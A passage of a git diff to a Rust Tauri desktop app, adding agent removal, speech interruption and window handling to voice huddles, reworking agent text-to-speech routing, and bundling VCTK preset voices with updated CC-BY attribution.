+            if !huddle.participants.contains(pubkey) {
+                huddle.participants.push(pubkey.clone());
+                roster_changed = true;
+            }
+        }
+        (
+            roster_changed,
+            huddle.maybe_auto_enable_transcription_for_agents(),
+        )
+    };
+
+    if transcription_auto_enabled {
+        start_auto_enabled_transcription(state, &ephemeral_channel_id).await;
+    } else if roster_changed {
+        state.emit_huddle_state_changed();
+    }
+
+    Ok(AgentHuddleSyncResult {
+        matched_active_huddle: true,
+        added,
+    })
+}
+
+#[tauri::command]
+pub async fn sync_agents_to_active_huddle(
+    channel_id: String,
+    agent_pubkeys: Vec<String>,
+    state: State<'_, AppState>,
+) -> Result<AgentHuddleSyncResult, String> {
+    sync_agents_for_active_huddle(&channel_id, agent_pubkeys, &state).await
+}
+
 fn contains_member(members: &[(String, Option<String>)], pubkey: &str) -> bool {
     members
         .iter()
diff --git a/desktop/src-tauri/src/huddle/audio_output.rs b/desktop/src-tauri/src/huddle/audio_output.rs
index dbd09353db..34dec53094 100644
--- a/desktop/src-tauri/src/huddle/audio_output.rs
+++ b/desktop/src-tauri/src/huddle/audio_output.rs
@@ -39,7 +39,8 @@ fn list_audio_output_devices_blocking() -> Result<Vec<AudioOutputDevice>, String
 #[tauri::command]
 pub fn set_audio_output_device(name: String, state: State<'_, AppState>) -> Result<(), String> {
     let mut guard = state
-        .audio_output_device
+        .huddle_audio
+        .output_device
         .lock()
         .map_err(|e| e.to_string())?;
     *guard = if name.is_empty() { None } else { Some(name) };
@@ -50,7 +51,8 @@ pub fn set_audio_output_device(name: String, state: State<'_, AppState>) -> Resu
 #[tauri::command]
 pub fn get_audio_output_device(state: State<'_, AppState>) -> Result<String, String> {
     let guard = state
-        .audio_output_device
+        .huddle_audio
+        .output_device
         .lock()
         .map_err(|e| e.to_string())?;
     Ok(guard.clone().unwrap_or_default())
diff --git a/desktop/src-tauri/src/huddle/commands.rs b/desktop/src-tauri/src/huddle/commands.rs
new file mode 100644
index 0000000000..993d8e54eb
--- /dev/null
+++ b/desktop/src-tauri/src/huddle/commands.rs
@@ -0,0 +1,132 @@
+//! Small Huddle controls that mutate an active session.
+
+use std::sync::{atomic::Ordering, Arc};
+
+use tauri::State;
+use uuid::Uuid;
+
+use crate::{app_state::AppState, events, relay::submit_event};
+
+use super::{relay_api::validate_pubkey_hex, HuddlePhase};
+
+/// Update the clickable microphone control independently from the PTT shortcut.
+#[tauri::command]
+pub fn set_huddle_manual_mic_unmuted(
+    enabled: bool,
+    state: State<'_, AppState>,
+) -> Result<(), String> {
+    let huddle = state.huddle()?;
+    if !matches!(huddle.phase, HuddlePhase::Connected | HuddlePhase::Active) {
+        return Err("no active huddle".to_string());
+    }
+    huddle.manual_mic_unmuted.store(enabled, Ordering::Release);
+    Ok(())
+}
+
+/// Immediately interrupt the agent utterance that is currently speaking.
+#[tauri::command]
+pub fn interrupt_huddle_speech(
+    agent_pubkey: String,
+    state: State<'_, AppState>,
+) -> Result<(), String> {
+    validate_pubkey_hex(&agent_pubkey)?;
+    let tts_pipeline = {
+        let huddle = state.huddle()?;
+        if !matches!(huddle.phase, HuddlePhase::Connected | HuddlePhase::Active) {
+            return Err("no active huddle".to_string());
+        }
+        huddle.tts_pipeline.as_ref().map(Arc::clone)
+    };
+    if let Some(tts_pipeline) = tts_pipeline {
+        tts_pipeline.cancel_active_speaker(&agent_pubkey);
+    }
+    Ok(())
+}
+
+/// Remove an agent from the active huddle without removing its parent-channel
+/// membership. Keeping the parent membership intact means it remains available
+/// to rejoin this huddle from the agent picker.
+#[tauri::command]
+pub async fn remove_agent_from_huddle(
+    agent_pubkey: String,
+    state: State<'_, AppState>,
+) -> Result<(), String> {
+    validate_pubkey_hex(&agent_pubkey)?;
+
+    let (ephemeral_channel_id, huddle_generation) = {
+        let huddle = state.huddle()?;
+        if !matches!(huddle.phase, HuddlePhase::Connected | HuddlePhase::Active) {
+            return Err("no active huddle".to_string());
+        }
+
+        let is_huddle_agent = huddle
+            .agent_pubkeys
+            .lock()
+            .unwrap_or_else(|error| error.into_inner())
+            .iter()
+            .any(|pubkey| pubkey.eq_ignore_ascii_case(&agent_pubkey));
+        if !is_huddle_agent {
+            return Err("agent is not in this huddle".to_string());
+        }
+
+        (
+            huddle
+                .ephemeral_channel_id
+                .clone()
+                .ok_or("no ephemeral channel")?,
+            huddle.huddle_generation,
+        )
+    };
+
+    let ephemeral_channel_uuid =
+        Uuid::parse_str(&ephemeral_channel_id).map_err(|error| error.to_string())?;
+    submit_event(
+        events::build_remove_member(ephemeral_channel_uuid, &agent_pubkey)?,
+        &state,
+    )
+    .await?;
+
+    let (roster_changed, tts_pipeline) = {
+        let mut huddle = state.huddle()?;
+        if !huddle.is_current_huddle(&ephemeral_channel_id, huddle_generation) {
+            (false, None)
+        } else {
+            let mut agent_pubkeys = huddle
+                .agent_pubkeys
+                .lock()
+                .unwrap_or_else(|error| error.into_inner());
+            let initial_count = agent_pubkeys.len();
+            agent_pubkeys.retain(|pubkey| !pubkey.eq_ignore_ascii_case(&agent_pubkey));
+            let changed = agent_pubkeys.len() != initial_count;
+            drop(agent_pubkeys);
+
+            if changed {
+                huddle
+                    .participants
+                    .retain(|pubkey| !pubkey.eq_ignore_ascii_case(&agent_pubkey));
+                if let Some(settings_pubkey) = huddle
+                    .agent_voice_settings
+                    .keys()
+                    .find(|pubkey| pubkey.eq_ignore_ascii_case(&agent_pubkey))
+                    .cloned()
+                {
+                    huddle.agent_voice_settings.remove(&settings_pubkey);
+                }
+            }
+            let tts_pipeline = changed
+                .then_some(huddle.tts_pipeline.as_ref())
+                .flatten()
+                .map(Arc::clone);
+            (changed, tts_pipeline)
+        }
+    };
+
+    if let Some(tts_pipeline) = tts_pipeline {
+        tts_pipeline.cancel_speaker(&agent_pubkey);
+    }
+    if roster_changed {
+        state.emit_huddle_state_changed();
+    }
+
+    Ok(())
+}
diff --git a/desktop/src-tauri/src/huddle/mod.rs b/desktop/src-tauri/src/huddle/mod.rs
index 0a84cffe00..fcf29d688b 100644
--- a/desktop/src-tauri/src/huddle/mod.rs
+++ b/desktop/src-tauri/src/huddle/mod.rs
@@ -23,8 +23,11 @@
 //!    takes `stt_pipeline`/`tts_pipeline` out of the lock, then calls `shutdown()`
 //!    and drops them outside the lock (thread joins can block ~200ms).
 
+mod agent_tts_routing;
+pub mod agent_voice;
 pub mod agents;
 pub mod audio_output;
+mod commands;
 pub mod jitter;
 pub mod models;
 pub mod pipeline;
@@ -37,6 +40,10 @@ pub mod state;
 pub mod stt;
 pub mod transcription;
 pub mod tts;
+pub mod tts_settings;
+mod tts_voice_import;
+mod tts_voice_registry;
+mod window;
 pub mod wire;
 
 // ── Shared utilities ──────────────────────────────────────────────────────────
@@ -61,8 +68,13 @@ pub(super) fn drain_until_shutdown<T>(
 
 // ── Re-exports ────────────────────────────────────────────────────────────────
 
+pub use commands::{
+    interrupt_huddle_speech, remove_agent_from_huddle, set_huddle_manual_mic_unmuted,
+};
 pub use state::{HuddleJoinInfo, HuddlePhase, HuddleState, VoiceInputMode};
 pub use transcription::{set_huddle_transcription_enabled, start_stt_pipeline};
+pub use tts_settings::set_tts_enabled;
+pub use window::{close_huddle_companion, open_huddle_window};
 
 // ── Imports ───────────────────────────────────────────────────────────────────
 
@@ -71,15 +83,21 @@ use tauri::State;
 use uuid::Uuid;
 
 use crate::{app_state::AppState, events, relay::submit_event};
+
+use agent_tts_routing::{
+    classify_agent_tts_runtime, enqueue_agent_tts_text, normalize_agent_tts_text,
+    AgentTtsRuntimeGate,
+};
 pub use pipeline::check_pipeline_hotstart;
 use pipeline::{
-    maybe_start_stt_pipeline, maybe_start_tts_pipeline, post_connect_setup,
-    start_auto_enabled_transcription, PostConnectOutcome,
+    await_inflight_tts_start, maybe_start_stt_pipeline, maybe_start_tts_pipeline,
+    post_connect_setup, start_auto_enabled_transcription, PostConnectOutcome,
 };
 use relay_api::{
     count_human_members, fetch_channel_members, parse_channel_uuid, validate_pubkey_hex,
     MAX_HUDDLE_AGENTS,
 };
+use window::close_huddle_window;
 
 fn normalize_huddle_channel_name(candidate: Option<String>, fallback: &str) -> String {
     let normalized = candidate
@@ -165,6 +183,7 @@ pub async fn start_huddle(
     parent_channel_id: String,
     member_pubkeys: Vec<String>,
     channel_name: Option<String>,
+    app: tauri::AppHandle,
     state: State<'_, AppState>,
 ) -> Result<HuddleJoinInfo, String> {
     // Validate inputs at the Tauri boundary.
@@ -188,6 +207,15 @@ pub async fn start_huddle(
         deduped
     };
 
+    // Allocate the backing channel ID before the relay work starts. Publishing
+    // it with the Creating state lets the main webview open an immediate
+    // companion window while the channel and audio session are being prepared.
+    let ephemeral_uuid = Uuid::new_v4();
+    let ephemeral_channel_id = ephemeral_uuid.to_string();
+    let short_id = &ephemeral_channel_id[..8];
+    let fallback_channel_name = format!("huddle-{short_id}");
+    let channel_name = normalize_huddle_channel_name(channel_name, &fallback_channel_name);
+
     // Transition to Creating.
     let huddle_generation = {
         let mut hs = state.huddle()?;
@@ -200,20 +228,16 @@ pub async fn start_huddle(
         let generation = hs.begin_huddle_lifetime();
         hs.phase = HuddlePhase::Creating;
         hs.parent_channel_id = Some(parent_channel_id.clone());
+        hs.ephemeral_channel_id = Some(ephemeral_channel_id.clone());
         generation
     };
-
-    let ephemeral_uuid = Uuid::new_v4();
-    let ephemeral_channel_id = ephemeral_uuid.to_string();
-    let short_id = &ephemeral_channel_id[..8];
-    let fallback_channel_name = format!("huddle-{short_id}");
-    let channel_name = normalize_huddle_channel_name(channel_name, &fallback_channel_name);
+    state.emit_huddle_state_changed();
 
     // All steps wrapped so we can roll back on ANY failure, including step 1.
     // channel_was_created tracks whether we need to archive on rollback.
     let mut channel_was_created = false;
 
-    let result: Result<Vec<String>, String> = async {
+    let result: Result<(Vec<String>, String), String> = async {
         // 1. Create ephemeral channel.
         let create_builder = events::build_create_channel(
             ephemeral_uuid,
@@ -255,14 +279,14 @@ pub async fn start_huddle(
         // 4. Emit HUDDLE_STARTED to parent channel.
         let started_builder =
             events::build_huddle_started(&parent_channel_id, &ephemeral_channel_id)?;
-        submit_event(started_builder, &state).await?;
+        let started_event = submit_event(started_builder, &state).await?;
 
-        Ok(successful_agents)
+        Ok((successful_agents, started_event.event_id))
     }
     .await;
 
     match result {
-        Ok(successful_agents) => {
+        Ok((successful_agents, huddle_thread_event_id)) => {
             // 5. Store active state.
             let committed = {
                 let mut hs = state.huddle()?;
@@ -272,6 +296,7 @@ pub async fn start_huddle(
                     hs.phase = HuddlePhase::Connected;
                     hs.is_creator = true;
                     hs.ephemeral_channel_id = Some(ephemeral_channel_id.clone());
+                    hs.huddle_thread_event_id = Some(huddle_thread_event_id);
                     *hs.agent_pubkeys.lock().unwrap_or_else(|e| e.into_inner()) =
                         successful_agents.clone();
                     hs.maybe_auto_enable_transcription_for_agents();
@@ -290,6 +315,7 @@ pub async fn start_huddle(
             };
             if !committed {
                 emit_end_and_archive(&parent_channel_id, &ephemeral_channel_id, &state).await;
+                close_huddle_window(&app, &ephemeral_channel_id);
                 return Err("huddle start was superseded".to_owned());
             }
 
@@ -301,6 +327,7 @@ pub async fn start_huddle(
             match post_connect_setup(&state, &ephemeral_channel_id, huddle_generation).await {
                 Ok(PostConnectOutcome::Ready) => {}
                 Ok(PostConnectOutcome::Stale) => {
+                    close_huddle_window(&app, &ephemeral_channel_id);
                     return Err("huddle start was superseded".to_owned());
                 }
                 Err(e) => {
@@ -320,6 +347,7 @@ pub async fn start_huddle(
                         }
                         state.emit_huddle_state_changed();
                     }
+                    close_huddle_window(&app, &ephemeral_channel_id);
                     return Err(e);
                 }
             }
@@ -340,10 +368,19 @@ pub async fn start_huddle(
                 }
             }
             // Reset only if this failed attempt still owns the Creating state.
-            if let Ok(mut hs) = state.huddle_state.lock() {
+            let reset = if let Ok(mut hs) = state.huddle_state.lock() {
                 if hs.owns_huddle_lifetime(huddle_generation, HuddlePhase::Creating) {
                     hs.reset_preserving_generation();
+                    true
+                } else {
+                    false
                 }
+            } else {
+                false
+            };
+            if reset {
+                state.emit_huddle_state_changed();
+                close_huddle_window(&app, &ephemeral_channel_id);
             }
             Err(e)
         }
@@ -362,6 +399,7 @@ pub async fn start_huddle(
 pub async fn join_huddle(
     parent_channel_id: String,
     ephemeral_channel_id: String,
+    huddle_thread_event_id: Option<String>,
     state: State<'_, AppState>,
 ) -> Result<HuddleJoinInfo, String> {
     // Transition to Connecting.
@@ -377,6 +415,7 @@ pub async fn join_huddle(
         hs.phase = HuddlePhase::Connecting;
         hs.parent_channel_id = Some(parent_channel_id.clone());
         hs.ephemeral_channel_id = Some(ephemeral_channel_id.clone());
+        hs.huddle_thread_event_id = huddle_thread_event_id;
         generation
     };
 
@@ -547,7 +586,7 @@ async fn remove_huddle_agents(ephemeral_channel_id: &str, state: &AppState) {
 ///
 /// The relay emits kind:48102 (participant left) when the audio WS disconnects.
 #[tauri::command]
-pub async fn leave_huddle(state: State<'_, AppState>) -> Result<(), String> {
+pub async fn leave_huddle(app: tauri::AppHandle, state: State<'_, AppState>) -> Result<(), String> {
     let (parent_channel_id, ephemeral_channel_id) = {
         let mut hs = state.huddle()?;
         if hs.phase == HuddlePhase::Idle {
@@ -596,6 +635,7 @@ pub async fn leave_huddle(state: State<'_, AppState>) -> Result<(), String> {
     }
 
     teardown_huddle(&state)?;
+    close_huddle_window(&app, &ephemeral_channel_id);
 
     Ok(())
 }
@@ -608,7 +648,11 @@ pub async fn leave_huddle(state: State<'_, AppState>) -> Result<(), String> {
 /// 3. Shut down the STT pipeline (Fix 5).
 /// 4. Clear local huddle state.
 #[tauri::command]
-pub async fn end_huddle(force: Option<bool>, state: State<'_, AppState>) -> Result<(), String> {
+pub async fn end_huddle(
+    force: Option<bool>,
+    app: tauri::AppHandle,
+    state: State<'_, AppState>,
+) -> Result<(), String> {
     let (parent_channel_id, ephemeral_channel_id) = {
         let mut hs = state.huddle()?;
         if hs.phase == HuddlePhase::Idle {
@@ -631,6 +675,7 @@ pub async fn end_huddle(force: Option<bool>, state: State<'_, AppState>) -> Resu
     emit_end_and_archive(&parent_channel_id, &ephemeral_channel_id, &state).await;
 
     teardown_huddle(&state)?;
+    close_huddle_window(&app, &ephemeral_channel_id);
 
     Ok(())
 }
@@ -745,91 +790,130 @@ pub fn get_model_status(_state: State<'_, AppState>) -> Result<models::VoiceMode
     })
 }
 
-/// Enable or disable TTS output.
-///
-/// When disabled, the TTS pipeline is shut down and audio output stops.
-/// When re-enabled, the pipeline is restarted if TTS models are available.
-///
-/// Takes the pipeline handle out of the lock before calling shutdown() — the
-/// thread join in Drop can block for ~200 ms (ONNX inference) and we don't
-/// want to hold the HuddleState mutex during that time.
-#[tauri::command]
-pub async fn set_tts_enabled(enabled: bool, state: State<'_, AppState>) -> Result<(), String> {
-    let old_pipeline = {
-        let mut hs = state.huddle()?;
-        hs.tts_enabled = enabled;
-        if !enabled {
-            hs.tts_pipeline.take() // Take out of lock.
-        } else {
-            None
-        }
-    };
-    // Shut down outside the lock — thread join happens here.
-    if let Some(ref pipeline) = old_pipeline {
-        pipeline.shutdown();
-    }
-    drop(old_pipeline);
-
-    if enabled {
-        // Re-start TTS pipeline if models are available and huddle is active.
-        let phase = {
-            let hs = state.huddle()?;
-            hs.phase.clone()
-        };
-        if matches!(phase, HuddlePhase::Connected | HuddlePhase::Active) {
-            if let Err(e) = maybe_start_tts_pipeline(&state).await {
-                eprintln!("buzz-desktop: TTS pipeline restart failed: {e}");
-            }
-        }
-    }
-
-    Ok(())
-}
-
 /// Speak an agent message via TTS.
 ///
-/// Maximum text length accepted for TTS synthesis.
-/// ~2000 chars ≈ 1–2 minutes of speech. Longer messages are truncated.
-const MAX_TTS_TEXT_LEN: usize = 2000;
-
-/// Called by the WebView when it receives an incoming agent kind:9 message.
+/// Called by the WebView when it receives an eligible live agent message.
 /// Lazily starts the TTS pipeline if models are ready but the pipeline hasn't
 /// been created yet (e.g. models finished downloading after huddle started).
 ///
-/// No-op if TTS is disabled or models aren't ready.
+/// Disabled is the only intentional no-op. Enabled-but-unavailable speech
+/// returns an error so the caller cannot mistake a dropped message for success.
 #[tauri::command]
-pub async fn speak_agent_message(text: String, state: State<'_, AppState>) -> Result<(), String> {
+pub async fn speak_agent_message(
+    text: String,
+    route_id: u64,
+    speaker_pubkey: String,
+    app: tauri::AppHandle,
+    state: State<'_, AppState>,
+) -> Result<(), String> {
+    eprintln!("buzz-desktop: tts stage=invoke status=started route_id={route_id}");
     // Truncate oversized messages — agents shouldn't monologue in a voice huddle.
     // Use char count (not byte length) to avoid panicking on multi-byte UTF-8.
-    let text = if text.chars().count() > MAX_TTS_TEXT_LEN {
-        let mut truncated: String = text.chars().take(MAX_TTS_TEXT_LEN).collect();
-        truncated.push_str("... message truncated.");
-        truncated
-    } else {
-        text
+    let text = normalize_agent_tts_text(text);
+
+    if !state.huddle()?.tts_enabled {
+        eprintln!(
+            "buzz-desktop: tts stage=invoke status=no_op reason=disabled route_id={route_id}"
+        );
+        return Ok(());
+    }
+
+    let Some(voice_reference) =
+        agent_voice::voice_reference_for_agent(&app, &state, &speaker_pubkey)?
+    else {
+        eprintln!(
+            "buzz-desktop: tts stage=invoke status=no_op reason=agent_disabled route_id={route_id}"
+        );
+        return Ok(());
     };
 
     let needs_pipeline = {
-        let hs = state.huddle()?;
-        hs.tts_enabled
-            && hs.tts_pipeline.is_none()
-            && matches!(hs.phase, HuddlePhase::Connected | HuddlePhase::Active)
+        let mut hs = state.huddle()?;
+        if hs
+            .tts_pipeline
+            .as_ref()
+            .is_some_and(|pipeline| pipeline.is_finished())
+        {
+            hs.tts_pipeline = None;
+        }
+        match classify_agent_tts_runtime(hs.tts_enabled, &hs.phase, hs.tts_pipeline.is_some()) {
+            AgentTtsRuntimeGate::Disabled => {
+                eprintln!(
+                    "buzz-desktop: tts stage=invoke status=no_op reason=disabled route_id={route_id}"
+                );
+                return Ok(());
+            }
+            AgentTtsRuntimeGate::Inactive => {
+                eprintln!(
+                    "buzz-desktop: tts stage=invoke status=failed reason=inactive_huddle route_id={route_id}"
+                );
+                return Err(
+                    "Agent text to speech is unavailable outside an active huddle".to_string(),
+                );
+            }
+            AgentTtsRuntimeGate::NeedsPipeline => true,
+            AgentTtsRuntimeGate::Ready => false,
+        }
     };
 
     // Lazy-start: models may have finished downloading after the huddle began.
     if needs_pipeline {
-        if let Err(e) = maybe_start_tts_pipeline(&state).await {
-            eprintln!("buzz-desktop: TTS lazy-start failed: {e}");
-        }
+        maybe_start_tts_pipeline(&state).await.inspect_err(|_| {
+            eprintln!(
+                "buzz-desktop: tts stage=invoke status=failed reason=startup_failed route_id={route_id}"
+            );
+        })?;
+        await_inflight_tts_start(&state).await.inspect_err(|_| {
+            eprintln!(
+                "buzz-desktop: tts stage=invoke status=failed reason=startup_timeout route_id={route_id}"
+            );
+        })?;
     }
 
-    let hs = state.huddle()?;
-    if hs.tts_enabled {
-        if let Some(ref pipeline) = hs.tts_pipeline {
-            pipeline.speak(text)?;
-        }
-    }
-    Ok(())
+    let sender = {
+        let hs = state.huddle()?;
+        let agent_is_present = hs
+            .agent_pubkeys
+            .lock()
+            .unwrap_or_else(|error| error.into_inner())
+            .iter()
+            .any(|pubkey| pubkey.eq_ignore_ascii_case(&speaker_pubkey));
+        if !agent_is_present {
+            eprintln!(
+                "buzz-desktop: tts stage=queue status=dropped reason=speaker_removed route_id={route_id}"
+            );
+            return Ok(());
+        }
+        hs.tts_pipeline
+            .as_ref()
+            .map(|pipeline| pipeline.text_sender())
+            .map(|sender| {
+                let speaker_generation = sender.speaker_generation(&speaker_pubkey);
+                (sender, speaker_generation)
+            })
+    };
+    let Some((sender, speaker_generation)) = sender else {
+        eprintln!(
+            "buzz-desktop: tts stage=invoke status=failed reason=unavailable route_id={route_id}"
+        );
+        return Err("Agent text to speech is enabled but its audio pipeline is unavailable".into());
+    };
+    enqueue_agent_tts_text(route_id, text, move |route_id, text| {
+        sender
+            .send(
+                route_id,
+                speaker_pubkey,
+                speaker_generation,
+                voice_reference,
+                text,
+            )
+            .map_err(|error| format!("TTS queue closed while waiting to enqueue: {error}"))
+    })
+    .await
+    .inspect(|_| eprintln!("buzz-desktop: tts stage=queue status=accepted route_id={route_id}"))
+    .inspect_err(|_| {
+        eprintln!("buzz-desktop: tts stage=queue status=failed reason=closed route_id={route_id}")
+    })
 }
 
 /// Add an agent to the active huddle.
diff --git a/desktop/src-tauri/src/huddle/models.rs b/desktop/src-tauri/src/huddle/models.rs
index 11c9ee4c7d..f9f7065769 100644
--- a/desktop/src-tauri/src/huddle/models.rs
+++ b/desktop/src-tauri/src/huddle/models.rs
@@ -27,6 +27,10 @@ use sha2::{Digest, Sha256};
 use super::pocket::{
     april_model_info, PocketModelArtifact, APRIL_BUNDLE_ID, APRIL_MODEL_ID, APRIL_MODEL_REVISION,
 };
+use super::tts_voice_registry::POCKET_VOICES;
+
+#[path = "models_voice_upgrade.rs"]
+mod voice_upgrade;
 
 // ── Integrity verification ────────────────────────────────────────────────────
 //
@@ -91,8 +95,8 @@ const TTS_REFERENCE_ARTIFACT: PocketModelArtifact = PocketModelArtifact {
 /// honest (each version tag identifies one specific set of model bytes).
 const STT_MODEL_VERSION: &str = "2";
 
-/// Identifies the exact April INT8 asset set expected by readiness checks.
-const TTS_MODEL_VERSION: &str = "4";
+/// Identifies the April INT8 asset set plus the official VCTK presets.
+const TTS_MODEL_VERSION: &str = "5";
 
 /// Filename for the version manifest written alongside model files.
 const MANIFEST_FILENAME: &str = ".buzz-model-manifest";
@@ -160,39 +164,6 @@ const TTS_MODEL_DIR_NAME: &str = "pocket-tts";
 /// Attribution sidecar written next to the Pocket TTS model files.
 const TTS_LICENSE_FILE_NAME: &str = "MODEL_LICENSE.txt";
 
-/// CC-BY-4.0 §3(a)(1) attribution block for Pocket TTS, its ONNX packaging,
-/// and the bundled reference voice WAV.
-const TTS_LICENSE_TEXT: &str = "\
-Pocket TTS
-© Kyutai.
-
-Licensed under the Creative Commons Attribution 4.0 International License
-(CC-BY-4.0). License text: https://creativecommons.org/licenses/by/4.0/
-
-Original model by Kyutai: https://huggingface.co/kyutai/pocket-tts
-Paper: Charles, Roebel, et al., Pocket TTS (arXiv:2509.06926).
-Mimi neural codec by Kyutai is bundled as part of the model.
-
-April 2026 ONNX export by KevinAHM:
-https://huggingface.co/KevinAHM/pocket-tts-onnx
-Pinned revision: 58a6d00cf13d239b6748cb0769f35c580a8f606c
-
-Bundled reference voice (reference_sample.wav):
-\"Mary (f, conversation)\" preset from the Kyutai TTS demo voice catalogue
-(https://kyutai.org/tts), distributed via
-https://huggingface.co/kyutai/tts-voices as `vctk/p333_023_enhanced.wav`.
-Original recording from the Voice Cloning Toolkit (VCTK) corpus, speaker p333:
-https://datashare.ed.ac.uk/handle/10283/3443 (CC-BY-4.0).
-Recording enhancement (denoise/dereverb) by ai-coustics:
-https://ai-coustics.com/
-
-Buzz ships all ONNX/model artifacts and the reference voice WAV unmodified,
-renamed only by placement in the local model directory.
-
-Provided \"AS IS\", without warranty of any kind, express or implied. See the
-license text for full warranty disclaimer.
-";
-
 /// All files that must be present for Pocket TTS to be considered ready.
 const TTS_EXPECTED_FILES: &[&str] = &[
     "bundle.json",
@@ -205,6 +176,17 @@ const TTS_EXPECTED_FILES: &[&str] = &[
     "tokenizer.model",
     "LICENSE",
     "reference_sample.wav",
+    "anna.wav",
+    "vera.wav",
+    "fantine.wav",
+    "charles.wav",
+    "paul.wav",
+    "eponine.wav",
+    "azelma.wav",
+    "george.wav",
+    "jane.wav",
+    "michael.wav",
+    "eve.wav",
     TTS_LICENSE_FILE_NAME,
 ];
 
@@ -705,6 +687,9 @@ impl ModelManager {
 
     /// Start a background Pocket TTS download. No-op if already ready or downloading.
     pub fn start_tts_download(&self, http_client: reqwest::Client) {
+        if let Err(error) = voice_upgrade::install_vctk_presets_into_v4_model(&self.models_dir) {
+            eprintln!("buzz-desktop: could not upgrade existing Pocket voices in place: {error}");
+        }
         let manager = self.clone();
         self.tts.start_download(
             &self.models_dir,
@@ -822,7 +807,7 @@ impl ModelManager {
     ///   - five ONNX sessions selected by the April INT8 bundle
     ///   - bundle metadata, SentencePiece tokenizer, and learned voice BOS
     ///   - upstream `LICENSE` plus Buzz's `MODEL_LICENSE.txt` attribution sidecar
-    ///   - `reference_sample.wav` as the bundled default voice
+    ///   - `reference_sample.wav` plus the embedded official VCTK presets
     ///
     /// Files are written to a temp directory first, then moved atomically.
     async fn download_tts_model(&self, http_client: reqwest::Client) -> Result<(), String> {
@@ -904,9 +889,20 @@ impl ModelManager {
             });
         }
 
-        tokio::fs::write(temp_dir.join(TTS_LICENSE_FILE_NAME), TTS_LICENSE_TEXT)
-            .await
-            .map_err(|e| format!("write TTS model license sidecar: {e}"))?;
+        tokio::fs::write(
+            temp_dir.join(TTS_LICENSE_FILE_NAME),
+            voice_upgrade::TTS_LICENSE_TEXT,
+        )
+        .await
+        .map_err(|e| format!("write TTS model license sidecar: {e}"))?;
+        for voice in POCKET_VOICES {
+            let Some(bytes) = voice.bytes else {
+                continue;
+            };
+            tokio::fs::write(temp_dir.join(voice.reference_file), bytes)
+                .await
+                .map_err(|e| format!("install bundled {} voice: {e}", voice.display_name))?;
+        }
 
         self.tts.set_status(ModelStatus::Downloading {
             progress_percent: 90,
diff --git a/desktop/src-tauri/src/huddle/models_tests.rs b/desktop/src-tauri/src/huddle/models_tests.rs
index 4bcb4081e0..699ffbe459 100644
--- a/desktop/src-tauri/src/huddle/models_tests.rs
+++ b/desktop/src-tauri/src/huddle/models_tests.rs
@@ -22,11 +22,8 @@ fn expected_files_match_april_int8_metadata() {
         .artifacts
         .iter()
         .map(|artifact| artifact.filename)
-        .chain([
-            TTS_LICENSE_ARTIFACT.filename,
-            TTS_REFERENCE_ARTIFACT.filename,
-            TTS_LICENSE_FILE_NAME,
-        ])
+        .chain([TTS_LICENSE_ARTIFACT.filename, TTS_LICENSE_FILE_NAME])
+        .chain(POCKET_VOICES.iter().map(|voice| voice.reference_file))
         .collect::<Vec<_>>();
     expected.sort_unstable();
     let mut actual = TTS_EXPECTED_FILES.to_vec();
@@ -36,6 +33,7 @@ fn expected_files_match_april_int8_metadata() {
     assert!(!actual.contains(&"flow_lm_main.onnx"));
     assert!(!actual.contains(&"flow_lm_flow.onnx"));
     assert!(!actual.contains(&"mimi_decoder.onnx"));
+    assert!(!actual.contains(&"marius.wav"));
 }
 
 #[test]
diff --git a/desktop/src-tauri/src/huddle/models_voice_upgrade.rs b/desktop/src-tauri/src/huddle/models_voice_upgrade.rs
new file mode 100644
index 0000000000..5233e02615
--- /dev/null
+++ b/desktop/src-tauri/src/huddle/models_voice_upgrade.rs
@@ -0,0 +1,128 @@
+use super::*;
+use crate::huddle::tts_voice_registry::POCKET_VOICES;
+
+const PRESET_VOICE_TTS_MODEL_VERSION: &str = "4";
+
+/// Attribution written beside every installed Pocket model and voice asset.
+pub(super) const TTS_LICENSE_TEXT: &str = "\
+Pocket TTS
+© Kyutai.
+
+Licensed under the Creative Commons Attribution 4.0 International License
+(CC-BY-4.0). License text: https://creativecommons.org/licenses/by/4.0/
+
+Original model by Kyutai: https://huggingface.co/kyutai/pocket-tts
+Paper: Charles, Roebel, et al., Pocket TTS (arXiv:2509.06926).
+Mimi neural codec by Kyutai is bundled as part of the model.
+
+April 2026 ONNX export by KevinAHM:
+https://huggingface.co/KevinAHM/pocket-tts-onnx
+Pinned revision: 58a6d00cf13d239b6748cb0769f35c580a8f606c
+
+Bundled English VCTK presets: Anna (p228), Vera (p229), Fantine (p244),
+Charles (p254), Paul (p259), Eponine (p262), Azelma (p303), George (p315),
+Mary (p333), Jane (p339), Michael (p360), and Eve (p361). These exact,
+ai-coustics-enhanced WAVs come from Kyutai's tts-voices repository at revision
+323332d33f997de8394f24a193e1a76df720e01a.
+Source: https://huggingface.co/kyutai/tts-voices/tree/323332d33f997de8394f24a193e1a76df720e01a/vctk
+Original recordings: Voice Cloning Toolkit (VCTK) corpus,
+https://datashare.ed.ac.uk/handle/10283/3443 (CC-BY-4.0).
+Enhancement (denoise/dereverb): ai-coustics, https://ai-coustics.com/
+
+Buzz ships the ONNX/model artifacts and voice WAVs unmodified, renamed only
+by placement in the local model directory.
+
+Provided \"AS IS\", without warranty of any kind, express or implied. See the
+license text for full warranty disclaimer.
+";
+
+fn is_embedded_voice_file(filename: &str) -> bool {
+    POCKET_VOICES
+        .iter()
+        .any(|voice| voice.bytes.is_some() && voice.reference_file == filename)
+}
+
+/// Add the official VCTK presets to an otherwise-ready v4 install.
+///
+/// Model artifacts and Mary already exist in v4. The manifest is written last,
+/// so interruption leaves v4 intact and the next launch retries.
+pub(super) fn install_vctk_presets_into_v4_model(models_dir: &Path) -> Result<(), String> {
+    let model_dir = models_dir.join(TTS_MODEL_DIR_NAME);
+    let manifest_path = model_dir.join(MANIFEST_FILENAME);
+    let version = match std::fs::read_to_string(&manifest_path) {
+        Ok(version) => version,
+        Err(_) => return Ok(()),
+    };
+    if version.trim() != PRESET_VOICE_TTS_MODEL_VERSION {
+        return Ok(());
+    }
+    if !TTS_EXPECTED_FILES
+        .iter()
+        .filter(|filename| !is_embedded_voice_file(filename))
+        .all(|filename| model_dir.join(filename).is_file())
+    {
+        return Ok(());
+    }
+
+    for voice in POCKET_VOICES {
+        let Some(bytes) = voice.bytes else {
+            continue;
+        };
+        std::fs::write(model_dir.join(voice.reference_file), bytes)
+            .map_err(|error| format!("write bundled {} voice: {error}", voice.display_name))?;
+    }
+    let retired_marius = model_dir.join("marius.wav");
+    if retired_marius.is_file() {
+        std::fs::remove_file(retired_marius)
+            .map_err(|error| format!("remove retired Marius voice: {error}"))?;
+    }
